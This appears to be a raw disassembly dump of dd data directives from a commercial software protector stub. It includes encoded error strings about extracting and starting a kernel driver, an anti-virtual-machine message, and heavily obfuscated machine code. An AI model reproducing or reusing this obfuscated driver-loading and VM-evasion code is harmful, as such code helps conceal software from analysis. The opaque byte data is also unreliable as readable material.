		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h, 94h,	5, 1, 0A28h, 2,	21h dup(0)
		dd 880FC48Bh, 1, 0B58589F5h, 0BA060329h, 35D21B35h, 0AE9C08Bh
		dd 0C7000000h, 6D94D052h, 58686EB8h, 0E5BD83BCh, 60304h
		dd 0BD830975h, 6032339h, 50197400h, 0B8C08B53h,	43Dh, 1A9D8589h
		dd 9D8D0603h, 605B5BFh,	585BD3FFh, 2339BD83h, 74000603h
		dd 0B8535017h, 43Dh, 1A9D8589h,	9D8D0603h, 605B2AEh, 585BD3FFh
		dd 13058529h, 95890603h, 6031FB1h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 6BC35343h, 0AAE19B91h, 22199589h
		dd 0C08B0603h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	3DC35646h, 0F8DF5284h, 7F81BAF5h, 0C08B6F55h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0CDC35545h, 0EAA3CF97h
		dd 9DE18166h, 0E5BD83E5h, 60304h, 0BD830975h, 6032339h
		dd 50137400h, 0B8C08B53h, 0
		dd 0B4619D8Dh, 0D3FF0605h, 0BD83585Bh, 6032339h, 50117400h
		dd 0B853h, 9D8D0000h, 605B312h,	585BD3FFh, 1B61BD23h, 8E90603h
		dd 13000000h, 74F952E6h, 8B5E5F90h, 23C08BC0h, 32475BDh
		dd 0E5BD8306h, 60304h, 0BD830975h, 6032339h, 50137400h
		dd 0B8C08B53h, 0
		dd 0B3939D8Dh, 0D3FF0605h, 0BD83585Bh, 6032339h, 50117400h
		dd 0B853h, 9D8D0000h, 605B2E0h,	585BD3FFh, 13399589h, 58BF0603h
		dd 8B308BFEh, 6AC08BC0h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 7677C356h, 5B0BEBF2h
		dd 5649B3BAh, 5AE5E980h, 4E5BD83h, 75000603h, 39BD8309h
		dd 60323h, 53501374h, 0B8C08Bh,	8D000000h, 5B3FA9Dh, 5BD3FF06h
		dd 39BD8358h, 60323h, 53501174h, 0B8h, 0F99D8D00h, 0FF0605B2h
		dd 89585BD3h, 3182195h,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 5B31BE10h, 8BFB8B78h
		dd 8D958BC0h, 8B060326h, 0C1BD8BC0h, 1060319h, 32419B5h
		dd 0E5BD8306h, 60304h, 0BD830975h, 6032339h, 50137400h
		dd 0B8C08B53h, 0
		dd 0B32C9D8Dh, 0D3FF0605h, 8D01585Bh, 60315A1h,	2599B589h
		dd 0C08B0603h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	65C35242h, 0E544438h, 9D8B6069h, 6030B11h, 0EE9h
		dd 38A83D00h, 355F8D31h, 0E6AB166Bh, 616BB97Ah,	18F9B589h
		dd 0C08B0603h, 41D8D8Bh, 36BF0603h, 8373717Ch, 304E5BDh
		dd 9750006h, 2339BD83h,	74000603h, 8B535019h, 7D0B8C0h
		dd 85890000h, 6031A9Dh,	0B5BF9D8Dh, 0D3FF0605h,	0BD83585Bh
		dd 6032339h, 50177400h,	7D0B853h, 85890000h, 6031A9Dh
		dd 0B2AE9D8Dh, 0D3FF0605h, 86B2585Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0EFC35141h,	0E1B0716Dh, 398D8B31h
		dd 8B060316h, 0D5BD8BC0h, 0C606032Ch, 31BA185h,	8D895306h
		dd 6032C81h, 395F9068h,	0FF616099h, 302E1B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0D288DC09h, 858D5950h, 60338E0h, 0E5E98166h,	89D0FFDBh
		dd 322F595h, 0A18D8B06h, 8906030Ah, 3171D85h, 0C6CE8B06h
		dd 31BA185h, 8D295706h,	6032E31h, 4520668h, 0BD852990h
		dd 0FF060314h, 302E1B5h, 8DC88B06h, 338E085h, 55B50906h
		dd 0FF060326h, 4D8589D0h, 8B06031Bh, 0A185C6D6h, 4306031Bh
		dd 7E9h, 0E00DFB00h, 0F622137Fh, 90702868h, 9E9BCh, 16D00000h
		dd 8E009C72h, 0FF64B853h, 302E1B5h, 8D9D8906h, 8D06030Fh
		dd 338E085h, 0FFC88B06h, 1D8D8BD0h, 89060320h, 3183D85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 3EAE31BBh, 438DED70h, 5860Fh, 81660000h
		dd 606DDFC9h, 0D319D89h, 0B8660603h, 0C6617160h, 31BA185h
		dd 0BF0F4C06h, 1CE968CEh, 6AD9DAh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 8B60C9C3h, 3088D95h
		dd 10E96106h, 3000000h,	60590414h, 7D683938h, 5AA7E88Ah
		dd 0FF33C7FCh, 302E1B5h, 0D3BF0F06h, 38E0858Dh,	8F0F0603h
		dd 6, 735BD8Bh,	0D0FF0603h, 8589D48Ah, 603224Dh, 0C6D2B70Fh
		dd 31BA185h, 95894606h,	60325DDh, 0DE061468h, 56006ABAh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0E1B5FFEEh, 8B060302h, 31C8DBDh, 0E0858D06h,	6A060338h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0FF2C356h, 287h, 0FFF98B00h, 89D08AD0h, 30EE985h
		dd 75B58906h, 0C6060300h, 31BA185h, 68FC4706h, 8A0FB5E2h
		dd 1A99952Bh, 0B5FF0603h, 60302E1h, 8DCB8B66h, 338E085h
		dd 0D78B6606h, 880FD0FFh, 3, 89C88B66h,	32E8985h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 49B96649h, 0A185C692h, 4706031Bh, 800Fh, 0F3680000h
		dd 8983D0B5h, 315D985h,	75D98106h, 0FF6C220Ah, 302E1B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 2A34D4C0h, 3F98405Eh, 8D3CB1E2h,	338E085h
		dd 0D0FFF906h, 89F88B66h, 3238585h, 28F0F06h, 0B2000000h
		dd 0ED958B31h, 0C606032Ch, 31BA185h, 85897706h,	6033061h
		dd 97A8A368h, 810F51F3h, 3, 5FCBBF0Fh, 3121B5FFh, 6A0603h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 2AE580C3h, 4B6CE605h, 2820Fh, 0FE8B0000h, 579BD23h
		dd 858D0603h, 60338E0h,	9E9h, 863B2300h, 5F6EB957h, 0D0FF326Ch
		dd 25E18589h, 0E9600603h, 0Dh, 7438F5E8h, 0F82DCF41h, 0B9C6DD09h
		dd 10E82Fh, 30700000h, 8E9E2BA4h, 6203801h, 0DF051D08h
		dd 958B6C8Bh, 60321B5h,	85C66159h, 6031BA1h, 57006A47h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0FE1C98Ah, 68Ah, 41953300h, 6806030Fh, 8728FAF6h, 8FCAABAh
		dd 952B535Bh, 6030075h,	0E1B5FF5Ah, 23060302h, 318A5BDh
		dd 0E0858D06h, 0F060338h, 38Ch,	0CFBF0F00h, 8589D0FFh
		dd 6032F1Dh, 0DBB70F60h, 0EE8h,	4A52D100h, 855D9970h, 28B97940h
		dd 8B4CFA02h, 321FDB5h,	0C6615906h, 31BA185h, 0E88A4306h
		dd 0EFA4DA81h, 0FC684317h, 89BC8E6Eh, 31A5DBDh,	0E1B5FF06h
		dd 81060302h, 1B1F2AF1h, 0E0858D65h, 8B060338h,	0E9D0FFD0h
		dd 7, 29C14BBh,	89DA63E6h, 3038D85h, 13E806h, 87380000h
		dd 0A7FF3D96h, 220DFDCBh, 78B58020h, 8AB0140Fh,	5BC2814Dh
		dd 5A5E78B7h, 1BA185C6h, 89450603h, 31D299Dh, 69696806h
		dd 0BF668E72h, 0B5FF5DC1h, 60302E1h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0ECC35141h,	858DF39Fh, 60338E0h
		dd 38B0Fh, 0DA800000h, 66D0FF9Eh, 89C77BBFh, 3077985h
		dd 5FB96606h, 0A185C634h, 4406031Bh, 264D9D89h,	64680603h
		dd 0B6B8F2ECh, 0E1B5FF86h, 6A060302h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 5201C351h
		dd 0A886A21Ah, 89DD4E9Bh, 30491B5h, 0E0858D06h,	60060338h
		dd 2149B531h, 9D030603h, 6030421h, 89D0FF61h, 30865BDh
		dd 25858906h, 1060304h,	32F9DBDh, 0A185C606h, 4306031Bh
		dd 1B21B529h, 0A7680603h, 0FFC0764Ah, 302E1B5h,	25E18006h
		dd 38E0858Dh, 0B5890603h, 60325F5h, 0C181D0FFh,	1EDDE2C1h
		dd 0C958589h, 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0C60849C3h, 147DBD8Bh, 0BD800603h
		dd 60602D0h, 8C840F00h,	66000000h, 5FB4F181h, 2B2858Dh
		dd 50F50606h, 2A0DB589h, 16A0603h, 0FFB48CBAh, 6A006A05h
		dd 0F2816600h, 95FFE93Ah, 603183Dh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 24C35040h, 97E92DE6h, 0DF7FBC4Bh
		dd 4D99D01h, 85890603h,	6031FC1h, 6AC8BF0Fh, 0B1BD01FFh
		dd 0FF06030Ah, 31FC1B5h, 0DD8D8B06h, 0FF06030Fh, 31B4D95h
		dd 11E906h, 0A3C70000h,	0E93BDCE2h, 0F9EA2305h,	5BF2861Ch
		dd 8B35E023h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 4F8F8299h, 0EE9FCDDh, 0A5000000h
		dd 73A7B781h, 2D06AFCFh, 0DF13CA89h, 0E5BD8349h, 60304h
		dd 0BD830975h, 6032339h, 50197400h, 0B8C08B53h,	7D1h, 1A9D8589h
		dd 9D8D0603h, 605B5BFh,	585BD3FFh, 2339BD83h, 74000603h
		dd 0B8535017h, 7D1h, 1A9D8589h,	9D8D0603h, 605B2AEh, 585BD3FFh
		dd 6AB3B2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0FB6AAC3h, 0C08BFEB7h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0C7C35040h,	5A524181h, 6E8h
		dd 924AA400h, 0FD8053Ch, 605AD1B7h, 5A73B052h, 162D8501h
		dd 0C6610603h, 31BA185h, 6A4706h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0B310A1C3h, 0C168D73Fh
		dd 5193C8F7h, 0CB8B6660h, 0FF5A61F9h, 302E1B5h,	0A5BD8B06h
		dd 8D060306h, 338E085h,	63B96606h
		dd 0F8BF0FAEh, 6AD0FFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 77655EC3h, 2AC01EC3h, 66E97552h
		dd 8857EA81h, 0FC28E781h, 0F5504700h, 6F3858Dh,	800F0606h
		dd 2, 0C7CA8Ah,	94h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0A1C35343h, 0B815EEF1h, 0F36FF46h, 9589D0B7h
		dd 6031E4Dh, 0F3B58D58h, 9060606h, 304C595h, 8D8B5606h
		dd 6031B75h, 0DD80D0FFh, 68F0F53h, 89000000h, 32D79BDh
		dd 0F3858D06h, 50060606h, 0DE9h, 5FF0FE00h, 1BFAF7Eh, 41FE5BFFh
		dd 835A7431h, 0F060478h, 1585h,	64BA6600h, 8785C780h, 1060607h
		dd 89000000h, 32E31BDh,	0BD83FC06h, 6030B89h, 58850F00h
		dd 0B9000000h, 57416AF7h, 787BD83h, 0F000606h, 4685h, 0ADBD8300h
		dd 60306h, 39840Fh, 0B5890000h,	603191Dh, 58985C7h, 603h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 89BD5EC3h, 7DD5FB3Ah, 49BD8B95h, 66060321h
		dd 958BDB8Ch, 6031B09h,	0F04C3F6h, 5CA84h, 8AF6B100h, 8985C7D0h
		dd 6031Dh, 89000000h, 30A71BDh,	0DDBD8006h, 60602h, 19850Fh
		dd 11E80000h, 0CA000000h, 0BF395B8h, 1299DFE3h,	0E5690D7Ah
		dd 13657289h, 0C659CE8Bh, 31BA185h, 68FC4706h, 0E3E45B86h
		dd 9899589h, 0B5FF0603h, 60302E1h, 45B58B60h, 80060318h
		dd 0F5611FEFh, 38E0858Dh, 13E90603h, 4C000000h,	4C070C2Fh
		dd 0ECFAA286h, 7EFCA3C9h, 0D7ABEDAEh, 0D0FFCED2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 39C35242h, 6CC8F5F8h
		dd 0E8605EE5h, 12h, 0C217E15Eh,	0ADF5D794h, 0C6F53628h
		dd 4BBD0001h, 8D0F4DA2h, 0
		dd 8E0F5Ah, 61000000h, 0DE8h, 0E397F100h, 0CF53730Bh, 4AC9050Fh
		dd 9D893785h, 603098Dh,	104685Ah, 0DE80000h, 2B000000h
		dd 0BA805F72h, 0CFBB5B6Ah, 386A9907h, 2E79958Bh, 8D5F0603h
		dd 32AF19Dh, 0E19D3106h, 5306031Fh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0E5C35646h,	6F01CFh, 0BB1D4EDBh
		dd 0F18D8979h, 0BA06032Eh, 7660DB0Bh, 13E8D0FFh, 21000000h
		dd 9908A23Ch, 7401305h,	13042660h, 0CAFFEA51h, 8D8BC989h
		dd 60320D9h, 0F1858D5Ah, 0F06032Ah, 8Ah, 0B5895000h, 6030E1Dh
		dd 28F858Dh, 0FFC0606h,	8Fh, 8E0F5000h,	0Dh, 860F60h, 0BF000000h
		dd 410102Eh, 62858D61h,	660605F9h, 0F850CA8Bh, 25E195FFh
		dd 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0BAE013C3h, 1962B5BBh, 6A0CC483h,	806800h
		dd 36A0000h, 6A006Ah, 68h, 62858D80h, 500605F9h, 38D95FFh
		dd 85890603h, 6060272h,	1BA185C6h, 68470603h, 0C7B15E87h
		dd 2E1B5FFh, 858D0603h,	60338E0h, 6AD0FFh, 272B5FFh, 0D0FF0606h
		dd 2E2D8D33h, 8B0F0603h, 2, 0D03DF98Bh,	0F000037h, 5283h
		dd 72B5FF00h, 66060602h, 8927E981h, 0C9595FFh, 6A0603h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 24F2EC3h, 66BA6667h,	0FE932h, 391C0000h, 26119E84h
		dd 4EEEE8BBh, 8553517Ah, 0FEE9A6h, 7BBF0000h, 0FF284FA5h
		dd 60272B5h, 11E85306h,	0EF000000h, 805189A2h, 3FAD42BCh
		dd 540B26E1h, 8877C407h, 5F5FD08Bh, 0C9595FFh, 66500603h
		dd 5A9A36BFh, 8D31006Ah, 60315B1h, 9589006Ah, 6032D51h
		dd 0B966006Ah, 6A1B60h,	6B18D89h, 6A0603h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5AC35242h, 3AA3DFEDh
		dd 8B6666FDh, 0E18509CAh, 6A060318h, 0BD896000h, 60316ADh
		dd 76858D61h, 0F8060602h, 0B58D2B50h, 0FF060317h, 3038D95h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 4136CC6Dh, 81C3A0B9h, 68DCE2CAh,	85895130h
		dd 6030E85h, 0FFF8835Ah, 145850Fh, 81600000h, 0E9B802F0h
		dd 8E0F601Bh, 0
		dd 14E8h, 89226C00h, 0F224B2D1h, 0BCBA7AA1h, 4FA7035Ch
		dd 0CCA67A85h, 61615821h, 0BE02858Dh, 5DBA0605h, 0F5A7401h
		dd 0D0FFFEBFh, 1BA006Ah, 6A630FF1h, 0E810F00h, 60000000h
		dd 24D98D29h, 8A0F0603h, 0
		dd 8B006A61h, 318F1BDh,	0F006A06h, 182h, 6AF900h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 47C35747h, 5E569F69h
		dd 0A810F60h, 0E9000000h, 5, 70E691DCh,	6A6125h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0FEC35747h, 509D0A59h
		dd 8DE23AA6h, 4208BA92h, 858935E1h, 6032539h, 276858Dh
		dd 0DB10606h, 0E18D8B50h, 0FF060323h, 3038D95h,	70E18106h
		dd 833B8782h, 850FFFF8h, 53h, 48A0Fh, 0BA660000h, 0B58D3D17h
		dd 605FC7Eh, 858DFB8Bh,	605A758h, 0BD8BD0FFh, 6030B95h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0A85DFAC3h, 9BDDFC58h, 0FF44656Dh, 3077995h
		dd 0E19D0906h, 8906032Ch, 6027285h, 8BE78106h, 6620400Dh
		dd 6AA490BFh, 858DFC00h, 606026Ah, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 94C35343h, 800FC248h, 6A5011D6h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0DF6FC350h, 0AA1C3DB5h, 49958B25h, 6A060323h
		dd 9E904h, 0EB080000h, 0A9E7FE09h, 8D2C3A90h, 31C9985h
		dd 7E906h, 29840000h, 3A045F96h, 95895028h, 6030449h, 8D0F006Ah
		dd 16h,	0BE8h, 10BF3800h, 85192A01h, 0A880FDC4h, 0B3C98166h
		dd 6A5F54h, 89CF8B66h, 32F3985h, 29016A06h, 30DED85h, 858D8906h
		dd 0FF06031Dh, 60272B5h, 8D958B06h, 0E9060323h,	0Dh, 8883B083h
		dd 0B2D23303h, 0AD6ED727h, 2595FF93h, 6A060304h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 4707C356h, 9A45EE6h,	0BD8B5BC1h, 603098Dh, 1AC4E9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0E6D7A72h, 0DBD29A0h, 8B06031Ch,	0D18D8BC0h
		dd 8306032Eh, 304E5BDh,	9750006h, 2339BD83h, 74000603h
		dd 8B535019h, 7D2B8C0h,	85890000h, 6031A9Dh, 0B5BF9D8Dh
		dd 0D3FF0605h, 0BD83585Bh, 6032339h, 50177400h,	7D2B853h
		dd 85890000h, 6031A9Dh,	0B2AE9D8Dh, 0D3FF0605h,	0C280585Bh
		dd 6850F12h, 89000000h,	316D5BDh, 0FC08B06h, 85C7C9B7h
		dd 6031D89h, 1,	68FB8B66h, 0CEE4E7B8h, 1F9DB5FFh, 858D0603h
		dd 60338E0h, 8589D0FFh,	6032099h, 5DBD468h, 9DB5FFC0h
		dd 8D06031Fh, 338E085h,	89D0FF06h, 30EB585h, 1B858D06h
		dd 500605F7h, 2E1B5FFh,	95FF0603h, 6032E89h, 0B74C00Bh
		dd 858DD88Bh, 60606CEh,	8DD3FF50h, 606CE85h, 38836606h
		dd 0C70A7509h, 3207D85h, 106h, 1D95FF00h, 2506032Fh, 0FFh
		dd 7305F883h, 0D185C70Ah, 1060326h, 0F000000h, 8Bh, 0ACE58000h
		dd 2DDBD80h, 0F000606h,	1085h, 0E9D18B00h, 1989h, 8D89FC60h
		dd 603046Dh, 7DBD8361h,	60320h,	0F5850Fh, 8D0F0000h, 0
		dd 2A7858Dh, 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 5E1235C3h, 58909738h, 1508CD4h
		dd 31B29B5h, 6A016A06h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 8AE1C350h, 0B5BF1E44h
		dd 6A61F119h, 0C58D8900h, 6A060320h, 35BD8900h,	0FF06031Bh
		dd 3183D95h, 0FEB70F06h, 2D18589h, 6A0606h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 2A9497C3h
		dd 12E9h, 1DDE9300h, 0B652650Bh, 34B2C1CEh, 0CCEC4FB8h
		dd 6AA98C07h, 8DBD03FFh, 0FF06031Bh, 602D1B5h, 0A1B58906h
		dd 8B060326h, 303498Dh,	4D95FF06h, 6A06031Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 7EE1C357h, 8166B7B9h, 8D584EE9h, 5F6E285h, 4D8D2B06h
		dd 5006032Fh, 58DEC981h, 95FF08B0h, 603224Dh, 1D29B531h
		dd 9D890603h, 6031A25h,	0F76C8589h, 89570605h, 319C98Dh
		dd 8D0B5F06h, 60304EDh,	0F6EF858Dh, 30BF0605h, 501C0D2Ah
		dd 0B5FF6EB6h, 605F76Ch, 8995FFF8h, 6606032Eh, 177EDA81h
		dd 0E298589h, 0BD8B0603h, 6031E35h, 88BA6657h, 858D5A60h
		dd 605F75Dh, 8810Fh, 0F520000h,	8Dh, 0F8505F00h, 0F76CB5FFh
		dd 0BD890605h, 6030451h, 2E8995FFh, 0BA660603h,	8D29A97Bh
		dd 6031D75h, 0F7808589h, 7E90605h, 2000000h, 38684EACh
		dd 858D9571h, 605F73Ch,	50F8BF0Fh, 24DD9509h, 0B5FF0603h
		dd 605F76Ch, 2929BD8Bh,	95FF0603h, 6032E89h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 78C35747h, 223D9D89h
		dd 81660603h, 89F40BC2h, 5F77885h, 8E906h, 0FAC30000h
		dd 95EE7123h, 858DE949h, 605F72Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 2CC35040h, 91C555AAh, 0DA8166ADh
		dd 56579139h, 16D5958Bh, 5F5F0603h, 0CF816650h,	0B5FF1A4Fh
		dd 605F76Ch, 2E8995FFh,	13E90603h, 1D000000h, 69247F1Bh
		dd 36AA0F6Eh, 0A5112F47h, 202D6759h, 85898AE5h,	605F77Ch
		dd 8D3AE180h, 5F74A85h,	0BD896006h, 6031DE5h, 4AB95061h
		dd 0FF4372BDh, 5F76CB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0E6C2A9F9h, 0A139F3A3h
		dd 95FFDF77h, 6032E89h,	12E9h, 7B9A1C00h, 314BDA47h, 125C9D5Eh
		dd 0ED373EDFh, 319C7E7Ah, 3291D9Dh, 0C9858906h,	89060324h
		dd 32D6D85h, 0FE858D06h, 10605F6h, 308EDB5h, 6A5006h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 369AF9C3h, 70F1ABF7h, 0BD0396C6h, 6031F8Dh, 0F76CB5FFh
		dd 6A0605h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0C06716C3h, 29B529DDh, 0FF060316h, 32E8995h
		dd 3480BF06h, 8D0B3B73h, 6032059h, 0F7708589h, 83B50605h
		dd 2431BD29h, 858D0603h, 605F70Dh, 12E9h, 767E1400h, 31281E1Bh
		dd 11A7459Dh, 29EAB36Dh, 502332CCh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 19C35545h, 0F0A7AE98h, 0E18166AEh
		dd 0B5FFD18Ah, 605F76Ch, 95FF92B6h, 6032E89h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 8DC35242h, 0AD062F26h
		dd 7B6CF6FBh, 9E8h, 655B5C00h, 0BBDA97A2h, 895AE62Ch, 5F77485h
		dd 1046806h, 53BA0000h,	8D6F7AC3h, 5F80485h, 0B1B58906h
		dd 50060315h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 18h,	0CC35242h, 0CA44C63Eh, 0D981EE8Ah, 3A68AC27h, 0F908858Dh
		dd 8B560605h, 31D3595h,	0F505906h, 687h, 90E78100h, 0FF68D755h
		dd 3238595h, 358D3106h,	85060304h, 6850FC0h, 60000000h
		dd 0FA8BCB8Bh, 0DDBD8061h, 60602h, 19850Fh, 860F0000h
		dd 6, 0F559D89h, 8D8B0603h, 603006Dh, 14F8E9h, 83F9F900h
		dd 3207DBDh, 850F0006h,	31h, 83CEB70Fh,	60787BDh, 840F0006h
		dd 5Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h
		dd 4AC35747h, 9026A47Dh, 0A1858D31h, 230605F7h,	30FC595h
		dd 14A7E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0F160E8C3h, 12E9FC9Fh, 89000000h
		dd 3166DB5h, 8C858D06h,	890605F7h, 330F19Dh, 0DE95006h
		dd 7D000000h, 0ABF9B3EAh, 77873FE3h, 0C1997C75h, 0F804858Dh
		dd 9D890605h, 6031FA9h,	50D6BF0Fh, 1D999D29h, 0BD830603h
		dd 603207Dh, 84840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0B9F8C353h
		dd 14E98359h, 83000000h, 0C5886559h, 0A4430456h, 5CFA729Ch
		dd 43F9DB61h, 8D0DE08Bh, 5F92A85h, 0ADBD8906h, 0F060318h
		dd 68Eh, 19958900h, 0E906030Fh,	3Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 95C35040h, 0CC864EE2h, 89941881h
		dd 32DA995h, 58D8906h, 8D060317h, 5F91385h, 59BD0B06h
		dd 50060300h, 8DF98B66h, 5F96285h, 48C0F06h, 66000000h
		dd 50D617B9h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	0E1C35646h, 0E9B589DCh,	8B060326h, 0E195FFC8h
		dd 81060325h, 3888CCCAh, 10C4836Fh, 22B98D8Bh, 0C08B0603h
		dd 0BD83ACB1h, 60304E5h, 83097500h, 32339BDh, 19740006h
		dd 0C08B5350h, 7D3B8h, 9D858900h, 8D06031Ah, 5B5BF9Dh
		dd 5BD3FF06h, 39BD8358h, 60323h, 53501774h, 7D3B8h, 9D858900h
		dd 8D06031Ah, 5B2AE9Dh,	5BD3FF06h, 39858958h, 31060330h
		dd 30C11BDh, 3E11B906h,	0C08B1AB6h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0B7C35343h,	2679BD8Bh, 0BD810603h
		dd 605F78Ch, 6165726Fh,	0AB840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0E991C9C3h
		dd 9589A203h, 6032479h,	0F804858Dh, 8D500605h, 5F94185h
		dd 858D5006h, 605F962h,	0E195FF50h, 83060325h, 85C60CC4h
		dd 6031BA1h, 184F6844h,	0B5FF96A3h, 60302E1h, 38E0858Dh
		dd 0D0FF0603h, 858DD88Bh, 605F962h, 8DD3FF50h, 5F78C85h
		dd 858D5006h, 605F804h,	7DBD8350h, 60320h, 858D0874h, 605F92Ah
		dd 858D06EBh, 605F913h,	62858D50h, 500605F9h, 25E195FFh
		dd 0C4830603h, 6BD18110h, 89732B67h, 320699Dh, 1D95FF06h
		dd 6006032Fh, 2E758D8Bh, 8E90603h, 2F000000h, 0D5B88AADh
		dd 61EB0D9Ch, 0FF25h, 24A9B900h, 0F883418Eh, 2C830F05h
		dd 57000000h, 5EEB966h,	0D185C75Ah, 1060326h, 0B9000000h
		dd 48ABC33h, 0F7C0858Dh, 8D8B0605h, 6030A5Dh, 4DE9h, 99F28100h
		dd 8309209Fh, 3207DBDh,	840F0006h, 2Ch,	12E9h, 0AEE44C00h
		dd 204B0B7Bh, 0ECCC0393h, 73609ADBh, 8DB8E316h,	5F7EB85h
		dd 0E9C88B06h, 16h, 0B529B7B1h,	60302B5h, 0F7CD858Dh, 95890605h
		dd 60322DDh, 8589FE8Bh,	605F800h, 0E856006Ah, 3
